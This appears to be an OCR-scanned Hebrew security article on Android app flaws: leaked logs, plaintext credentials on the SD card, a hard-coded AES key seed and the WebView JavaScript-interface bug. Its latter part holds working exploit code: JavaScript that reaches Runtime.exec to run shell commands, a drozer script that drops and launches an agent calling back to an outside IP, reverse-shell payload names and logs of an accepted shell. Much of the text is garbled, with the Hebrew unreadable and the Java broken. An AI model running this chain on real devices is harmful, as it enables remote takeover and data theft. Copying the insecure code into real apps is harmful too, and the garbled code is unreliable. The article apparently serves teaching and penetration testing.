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Log.d(debug) Log.e(Error)

Log.i(info) Log.v(verbose) Log.w(warn)
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|<uses—permission android:name="android.permission.READ LOGS"/>
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/*
This function is responsible on writing the current location
of the user to the log state.
Please note that this function is under the usage of an app
with a target android version of 4.0
=/
private void
LocationResult locationResult = new LocationResult
public void Location location
// We have got the location
// Now we are about to write the current location to the log.
Log.w ("User Location", location);

MyLocation myLocation new MyLocation () ;
myLocation.getLocation (this, locationResult) ;

’
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/*
This function reads all of the log messages of the other apps
this will work only prior to 4.0 android version.

*/

public void
try
Process process = Runtime.getRuntime () .exec ("logcat") ;
BufferReader bufferReader = new BufferReader (
new InputStreamReader (process.getInputStream()) ;

’

StringBuilder historyLogMessage = new StringBuilder () ;

String line = "";

while((line = bufferReader.readLine()) != null
historyLogMessage.append (line) ;

Log.w("Logcat history: ", historyLogMessage) ;
catch (IOException e

// take care of the exception over here.

// drunk, fix later.
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e Facebook SDK for Android: http://readwrite.com/2012/04/10/what-developers-and-users-

canttawesm="~09igZAMIUPshPu
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/* This function is responsible on creating a new file in the sdcard

*/

and saving username and password credentials to it as data

private void String username, String password

try

File myFile = new File ("/sdcard/digitalwhisperexample.txt"
myFile.createNewFile () ;

FileOutputStream fileOutput new FileOutputStream (myFile) ;
OutputStreamWriter outputWriter = new OutputStreamWriter (fileOutput) ;
outputWriter.append ("Username: " username) ;

outputWriter.append ("Password: " password) ;

outputWriter.close () ;

fileOutput.close () ;

Toast.makeText (getBaseContext (), "Done writing SD

'digitalwhisperexample.txt'",

Toast .LENGTH SHORT) .show () ;
catch (IOException e
// take care of the exception over here.
// drunk, fix later.
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private void (String username, String password) ({
try {
File myFile = new File("/sdcard/digitalwhisperexample.txt") ;
myFile.createNewFile () ;
FileOutputStream fileOutput = new FileOutputStream (myFile) ;
OutputStreamWriter outputWriter = new OutputStreamWriter (fileOutput,
Context.MODE PRIVATE) ;
outputWriter.append ("Username: " + username) ;
outputWriter.append ("Password: " + password) ;
outputWriter.close() ;
fileOutput.close() ;
Toast.makeText (getBaseContext (), "Done writing SD
'digitalwhisperexample.txt'",
Toast.LENGTH SHORT) .show() ;
} catch (IOException e) {
// take care of the exception over here.
// drunk, fix later.
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/* This function is responsible on AES encryption implementation */
private static byte byte raw, byte clear) throws Exception
SecretKeySpec skeySpec new SecretKeySpec (raw, "AES");
Cipher cipher = Cipher.getlInstance ("AES");
cipher.init (Cipher.ENCRYPT MODE, skeySpec);
byte encrypted = cipher.doFinal (clear) ;
return encrypted;

/* This function is responsible on saving username & password as AES encrypted
to a new file in the sdcard. Please note that I simulate file saving

operation
using a method named savePrivateFileContents

*/

private void String username, String password
ByteArrayOutputStream baos new ByteArrayOutputStream!() ;
bm.compress (Bitmap.CompressFormat. PNG, 100, baos) ;
byte b = baos.toByteArray () ;

byte keyStart = "our-key".getBytes () ;
KeyGenerator kgen = KeyGenerator.getInstance ("AES");
SecureRandom sr = SecureRandom.getInstance ("SHAL1PRNG") ;

sr.setSeed (keyStart) ;

kgen.init (128, sr); // 192 and 256 bits may not be available
SecretKey skey = kgen.generateKey!() ;

byte key = skey.getEncoded() ;

// encrypt

byte encryptedData = encrypt (key,b);

String fileData = new String(encryptedData) ;
savePrivateFileContents (fileData, "digitalwhisper.txt"

’
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e JVN#92038939 mixi for Android information management vulnerability
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public class WebViewActivity extends AppCompatActivity {

protected void (Bundle savedInstanceState) {
super.onCreate (savedInstanceState) ;
setContentView (R.layout.activity web view);

WebView displayWebView = new WebView(this) ;
displayWebView.getSettings () .setJavaScriptEnabled (true) ;
displayWebView.addJavascriptInterface (new JavaScriptInterface(),
"jsinterface");
displayWebView.loadUrl ("file://android assets/www.index.html");
setContentView (displayWebView) ;
}

final class JavaScriptInterface {
JavaScriptInterface() { }
public String stringPropery {
return "string";

}

¥

J'MAIV7 NINT 'Y 7¥17 [N TN AN Xan TIpn

var interfaceMember = window.jsinterface.stringProperty;

function execute(cmd) {

return
window.jsinterface.getClass().forName('java.lang.Runtime').getMethod( 'getRuntime’,
null).invoke(null, null).exec(cmd);\

}

execute([ '/system/bin/sh', '-c', 'echo \"mwr\" > /mnt/sdcard/mwr.txt’'])
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Drozer

Drozer .T'RINTAIX 210N N7Y9N NIIYNI NNLVAX NIF'TA? DI MNIFA NNIRYOI9N N'190n X' Drozer
2w IPC ,Davlik VM 7m nnwpnn T 2y D1'woni NIYp7o8a NN0AX NIY7IN INR UON7 NMWOKR
code yiI¥'a Nya Drozer LI'7 NO'YA NITIY Drozer .NNXY N7Y9Nn NdWNI NNNR NINYP'79X

(X2 RIXN7 17010 MW'P) NINO-TIP N'MI90 X'N Drozer ,nT 7227 qona .a'won 7y execution

wnnva ,Drozer-2 win'w? qoila .Drozer payload-2 wnnwin7i 71¥10 DY nn*Tp TNXK TVX NdY7 N9

2'wONn 7V code execution Y¥XANNW yana VIR drozer N¥M Y N'RINN TWN weasel-d DA

T'NINTIX
S drozer payload list
shell.reverse tcp.armeabi Establish a reverse TCP Shell (ARMEABI)
weasel.reverse tcp.armeabi weasel through a reverse TCP Shell (ARMEABI)
weasel.shell.armeabi Deploy weasel, through a set of Shell commands

(ARMEABT)

$ drozer payload build weasel.shell.armeabi | grep echo | awk -F \"

{"gsub ("\\\\", "\\\\") ;

print "execute ([\x27/system/bin/sh\x27,\x27-c\x27,\x27 echo —-e \\\""S$2"\\\" >
\x27+path]);""'}

D'0'9TN 1IX PN TNK7 .weasel payload N'¥'7 drozer-2 D'UNNWN 1IX NIXAN NITIP9Y 120

.code execution VI¥'A NV 7'2TIW UOIPO NIIR'AQ payload-n NX terminaln JonY

2 XY webview-7 TNY 0710 INIXY payload-n

S cat drozer.js

var host = '192.168.1.99';
var port = '31415';
var path = '/data/data/com.vuln.app/files/weasel’;

function execute (cmd) {

return
window.interface.getClass () .forName ('java.lang.Runtime') .getMethod ('getRuntime',
null) .invoke (null,null) .exec (cmd) ;

}

execute (['/system/bin/rm',pathl]) ;

execute (['/system/bin/sh','-c','echo -e "..." > '4path]);
execute (['/system/bin/chmod', '770"',pathl]) ;

execute ([path,host, port]) ;

-0 MY DX D'7'V9N IR XA TIPa ,weasel payload 7117 ny> ,nn'7¥na 1IN payload-ni nT'na

NIYPA? D''TRNI drozer

$ drozer server start

Starting drozer Server, listening on 0.0.0.0:31415

2013-08-06 15:02:08,238 - drozer.server.protocols.http - INFO - GET /agent.jar
2013-08-06 15:02:08,256 - drozer.server.protocols.http - INFO - GET /agent.apk
2013-08-06 15:02:08,808 - drozer.server.protocols.drozerp.droidhg - INFO -
accepted connection from 47k5n8v3nbdpg
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2013-08-06 15:02:08,834 - drozer.server.protocols.shell - INFO - accepted shell
from 192.168.1.99:63804

yIX'an 7NN NI NI7IYe vixxa? NImpo Ni7we 91 Drozer-n MW 7m0 N1ID1 NNWRNN WNKY
v N1 ,0'%7'' nN'7w ,0'0n0 NNYY intent N7U9nY7 TVI 19700 'wON 7V penteration testing

TTIVE NIYPZY79R NXIN ,1'WONN 7Y NIRPNINM NINRY7oN

S run tools.file.download [mnt/sdcard/digitalwhisper]
[mnt/sdcard/pictures/digitalwhisper.png]

S run app.package.list -f firefox
S run app.package.attacksurface org.mozila.firefox

S run ex.SMS.create -n *telephone number* -m *message to send¥*

nNliNnnn N2 ma N'p'nn N'ayn?1 Namn Yaliy? TN NYUR NIYRIN AT ,NRAN XNAITA

.'n>NN sdcard-n NNN digitalwhisper Nn"7'n 78 ,NR¥xN1 NN

nm 9y "firefox" N7mMn NX NI7ONY 'wona npnim Nivran v oRN D'PTIA R NTIYD DT

.NN'RNN D20 YN IN'RY 979 TN W n'7'2ann oW nn NINT? 72nv
.N?'Ta N2'20)D firefox [9TOTN NX D'Y'IN X N'WHWUN NTIR9

D'2"21IYN 1R I'7R 19700 190N [I'Y¥ DY ONO NYTIN NNYYW7 XNAIT NIXYT [N N'WAIN DT

.NNXY DYTINN 9N VTN NI7WY

1910 T

nn'nN T 7Y Public ["9xnn DY NITINAN DX NISYIN 4.2 T'RINTIX NONA DY NINIY NI'XP'79X
NN IR SDK17 notaa TIav? y'nan Mt 77 91N LD 7V Javascriptinterface-d 178 NIrx*79X
- YUm'y T Y nTINAN DX DIMN? ¢ "nomw” nTinn qiwunt nan 7y 19K nikonaa L,17-n

.javascript-7 niwmn 'R )2 NIMINN [I'RY DITINN Javascriptinterface

Nivp Nnixs

e JVN#46088915 Yahoo! Browser vulnerable in the WebView class
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